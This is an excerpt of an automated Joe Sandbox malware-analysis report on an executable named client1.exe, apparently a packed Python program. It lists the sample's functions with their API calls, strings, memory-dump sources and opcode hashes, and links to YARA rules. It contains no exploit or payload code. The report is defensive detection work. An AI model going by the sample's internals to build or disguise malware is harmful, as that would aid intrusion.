Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 1084cce7428efea4fcd280cfcf0effde51fc0c129bbc933e10c8f1909bcf843e
Instruction ID: a1c6c4e7856313c9040da22eb03273e8972599a944483e281667fd43ba63b4f3
Opcode Fuzzy Hash: 1084cce7428efea4fcd280cfcf0effde51fc0c129bbc933e10c8f1909bcf843e
Instruction Fuzzy Hash: 98F017E6A0BA1281FA136B76E84037862616F41BA6F04C53DDD3D072B0EE3DA4856300

Function 00007FFBAB4A18BA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A18BA
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A18D3
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A18ED

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 495ddf033c850ee4ca08907aca6514bcd27688b7487a4889320b6227dce8e034
Instruction ID: e3d0c66febb2d9322c5a8a91356ed234bad9b30e3c5a79894c68b578fd920845
Opcode Fuzzy Hash: 495ddf033c850ee4ca08907aca6514bcd27688b7487a4889320b6227dce8e034
Instruction Fuzzy Hash: 6CF017E6E4BA1281FA135B76E84037852A1AF41BA5F04C13DCD3E072B0EE3CA485A300

Function 00007FF79F63BA70 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF79F63BAEF
WriteFile.KERNEL32 ref: 00007FF79F63BDB7
WriteFile.KERNEL32 ref: 00007FF79F63BDFD
GetLastError.KERNEL32 ref: 00007FF79F63BEB3

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction ID: f573e26b156dbeec8fe4ddbf6412b31814c1fa5a6ee9b81dedc133e0dd9b5fc8
Opcode Fuzzy Hash: f750311aff661a04a86bbbada4284786bf27b8065a17484a8f486471230e888d
Instruction Fuzzy Hash: 7ED1E022B18B8189E720DF79D4402EC77BAFB847D8B804225DE6E97B99DE78D416C310

Function 00007FF79F63C430 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF79F63C41B), ref: 00007FF79F63C54C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF79F63C41B), ref: 00007FF79F63C5D7

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction ID: 5604af1f55dfa74d243b04c6b709e5414ebe5a52dd48abac83f59e56c415e26f
Opcode Fuzzy Hash: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction Fuzzy Hash: DD91F422E087A285F771AF3594402FDABFABB45B88F945139EE1E53A85CF78D441C720

Function 00007FFBAA731FD0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAA732008
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAA732026

Strings

CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFBAA73201C
HANGUL SYLLABLE , xrefs: 00007FFBAA731FF5

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: strncmp
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 1114863663-87138338
Opcode ID: 8de3eb989cf6c62dcbce841305c01691443b1373284778389dc9e239678f53b6
Instruction ID: 06d4d6c16e6fc57e5569304bd35dfe09baf0010dfe025ac327a6f73b72c3d710
Opcode Fuzzy Hash: 8de3eb989cf6c62dcbce841305c01691443b1373284778389dc9e239678f53b6
Instruction Fuzzy Hash: D36149B2B19642C6E261AE39E40067F725AFB90780F569275EF6D436C4DE3CD8078770

Function 00007FF79F63E8DC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF79F63E9CC
_get_daylight.LIBCMT ref: 00007FF79F63E9DD
_get_daylight.LIBCMT ref: 00007FF79F63E9EE
_isindst.LIBCMT ref: 00007FF79F63EAB9

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction ID: 3e9ed73f2e8261dce19645282c8f43f150ae992c41bc12e35cf438408835576f
Opcode Fuzzy Hash: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction Fuzzy Hash: 84512972F047918AFB34EF7498412FCA7AABB10358F944235ED2E52AD5DB3CA406C720

Function 00007FF79F6347D4 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF79F634807
GetFileInformationByHandle.KERNEL32 ref: 00007FF79F634869
GetLastError.KERNEL32 ref: 00007FF79F6348FA
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F63470C), ref: 00007FF79F634946

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction ID: da029fc5d351682b408e8feb9d914ebf8abeb788ae687c28d879cfc1d896197f
Opcode Fuzzy Hash: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction Fuzzy Hash: 83516D23E087818AFB20EF71D4503FDB7AAAB48B98FA44135DE2D57699DF78D4418720

Function 00007FFBAB492D30 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

PyObject_RichCompareBool.PYTHON311 ref: 00007FFBAB492D8C
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492D9D
_Py_Dealloc.PYTHON311 ref: 00007FFBAB492DAC

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$BoolCompareObject_Rich
String ID:
API String ID: 74976934-0
Opcode ID: cdd2b6bcb2e944d73ca2653c866df25a3401dd1b17aa824d013412721f36fff1
Instruction ID: 9b0428594cd61e4f14eec74c57e46cfe3d5443cf193fd5061bf743b7e4e53353
Opcode Fuzzy Hash: cdd2b6bcb2e944d73ca2653c866df25a3401dd1b17aa824d013412721f36fff1
Instruction Fuzzy Hash: C31182B2E1A90281EA568B3AE5942BD6360AF55FF0F099334DE7A066F5DF2CD8954300

Function 00007FF79F621F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF79F621FA4
SetWindowLongPtrW.USER32 ref: 00007FF79F621FC6
GetWindowLongPtrW.USER32 ref: 00007FF79F621FF0
InvalidateRect.USER32 ref: 00007FF79F622010

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: d3e74ef10bdee7ac3501ca7d7d83abf59f251e85485275c8c19478c86165f97c
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: 5711EC21E1C3C241FA71BB79E9442F99297EF89790FC44030E96947B8DDE2CD5C14111

Function 00007FFBAA70D440 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

PyList_New.PYTHON311 ref: 00007FFBAA70D453
PyList_Append.PYTHON311 ref: 00007FFBAA70D4C0
PyList_Append.PYTHON311 ref: 00007FFBAA70D4D5
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71652B

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: List_$Append$Dealloc
String ID:
API String ID: 3059130597-0
Opcode ID: e5df2cfc70ad144d1460cb09aabecadf3178bc0b40c32a179bdd187bc4104b75
Instruction ID: b0e1fbe7a7e2c9ffc2380d09290e2b22dd0aa26f094a78da68203136a3e013c9
Opcode Fuzzy Hash: e5df2cfc70ad144d1460cb09aabecadf3178bc0b40c32a179bdd187bc4104b75
Instruction Fuzzy Hash: 5A212EA1E0E702D1EB668F32E54033B66E9AF04B94F5450B7EE0D52298DF3CF596C220

Function 00007FFBAB494A00 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB494A27
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494A4B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494A6F
_Py_Dealloc.PYTHON311 ref: 00007FFBAB494A8C

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 75f5ee3f9e2dee92d5d6860bc62137785b445111f4c46999c23ff5ea1904ff93
Instruction ID: 1c80b33a86ec34ba30d4941e3a4c6ee47a358988144f96936123bb9ab5bbdb94
Opcode Fuzzy Hash: 75f5ee3f9e2dee92d5d6860bc62137785b445111f4c46999c23ff5ea1904ff93
Instruction Fuzzy Hash: E511E9B2D5660141EB7A8F7AD99833C22A4AF54B79F298324CE79015F0CF6D94858384

Function 00007FFBAA6F24F8 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6F3A58: PyFloat_FromString.PYTHON311(?,?,?,00007FFBAA6F2508), ref: 00007FFBAA6F3A79
Part of subcall function 00007FFBAA6F3A58: _Py_Dealloc.PYTHON311(?,?,?,00007FFBAA6F2508), ref: 00007FFBAA6F3A8B

PyFloat_AsDouble.PYTHON311 ref: 00007FFBAA6F2513
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F2525
PyComplex_FromDoubles.PYTHON311 ref: 00007FFBAA6F2541

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: DeallocFloat_From$Complex_DoubleDoublesString
String ID:
API String ID: 2261090102-0
Opcode ID: b245bd889db09b2cff993a6b15c25dea8df691e9df1608beecb7f61bf70a380a
Instruction ID: f339bac1976b647e8565bf38270ba10a81fe053f9919accdaed01b84cd44eaaa
Opcode Fuzzy Hash: b245bd889db09b2cff993a6b15c25dea8df691e9df1608beecb7f61bf70a380a
Instruction Fuzzy Hash: BCF03190E1B946C1FA175F3CE8260BF56E87F24B49F0862B5DE4E152B0DE1D745B4A20

Function 00007FFBAA6F5CAC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA711AC7
PyMem_Free.PYTHON311 ref: 00007FFBAA711ADA

Strings

0, xrefs: 00007FFBAA6F5CED

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0
API String ID: 4096353137-4108050209
Opcode ID: 634ba5f77c378312b060cfb67b3957d80d32da840b00503f8fcfb152740ba25c
Instruction ID: 576d74c8388717671ddef3ba19ae9eb0ffdaffd61bbefa90f064f2cdfa60f243
Opcode Fuzzy Hash: 634ba5f77c378312b060cfb67b3957d80d32da840b00503f8fcfb152740ba25c
Instruction Fuzzy Hash: BB61B2B2A19781C9E7118F74E8103EE7BA4FB85798F105176EE8D16A99DF3CD146CB00

Function 00007FF79F644D3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F6408A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6408D3

_get_daylight.LIBCMT ref: 00007FF79F644E54
_get_daylight.LIBCMT ref: 00007FF79F644E65

Strings

?, xrefs: 00007FF79F644DE5

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8b5d587ec6f6b7eed71ba39116b338de031c50ce5c8dd23bba2b14458f06a6e4
Instruction ID: 3225b170cf9919eee0b2f84586cb995d08a99e14da07d48812648177800a96ba
Opcode Fuzzy Hash: 8b5d587ec6f6b7eed71ba39116b338de031c50ce5c8dd23bba2b14458f06a6e4
Instruction Fuzzy Hash: 4D41D613A087C255FB74BB3594023FAA6AAEF81BA4FA44235EF6C07AD5DE3CD4518710

Function 00007FF79F637E6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F637E9E

Part of subcall function 00007FF79F639E18: HeapFree.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF79F62B105), ref: 00007FF79F637EBC

Strings

C:\Users\user\Desktop\client1.exe, xrefs: 00007FF79F637EAA

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\client1.exe
API String ID: 3580290477-3981961939
Opcode ID: 7be78eb059dea3495cc358456d23a898a8a026444ba3d0a56d0d7994263981b4
Instruction ID: c7243760c77a5a2ba2524ef3bb143f7c618380d230a22ee2f67c0ac2cee44451
Opcode Fuzzy Hash: 7be78eb059dea3495cc358456d23a898a8a026444ba3d0a56d0d7994263981b4
Instruction Fuzzy Hash: 27415F32A08B9285EB24FF35D4800F8A7AAFF45794BD44039E96E43B85EF7DE4418760

Function 00007FFBAB493F90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON311 ref: 00007FFBAB493FB9
PyObject_Str.PYTHON311 ref: 00007FFBAB4940F7

Strings

gfffffff, xrefs: 00007FFBAB494030

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Object_Unicode_
String ID: gfffffff
API String ID: 3285369508-1523873471
Opcode ID: ce2dc6916272c2e0652045ec39cde27bf4333cc68ed97e979b7b9284f6183f32
Instruction ID: ad0e9822dc9301a0fcfb558ef0ac7fd13e925175d118ac94d329a76ee3eed51c
Opcode Fuzzy Hash: ce2dc6916272c2e0652045ec39cde27bf4333cc68ed97e979b7b9284f6183f32
Instruction Fuzzy Hash: 304178A2B0D78182FB118B27E0613BD6B90EB50BE0F049134DE6E4B7A1DE3CE542C781

Function 00007FFBAA7066A8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA7066D2
PyErr_Format.PYTHON311 ref: 00007FFBAA70682E

Part of subcall function 00007FFBAA70683C: PyMem_Free.PYTHON311(?,?,?,00007FFBAA706720), ref: 00007FFBAA70686F

Strings

conversion from %s to Decimal is not supported, xrefs: 00007FFBAA706819

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Arg_Err_FormatFreeMem_ParseTuple
String ID: conversion from %s to Decimal is not supported
API String ID: 2425325164-3964344595
Opcode ID: 1930848f69a8dd755326391be5c3c490d0ca58362c088830b15d41570eaf804c
Instruction ID: 54eb68a76b8c531bb8ab78cbeb2ecf67b6c2644fbbc82bb03064e08a55091e0c
Opcode Fuzzy Hash: 1930848f69a8dd755326391be5c3c490d0ca58362c088830b15d41570eaf804c
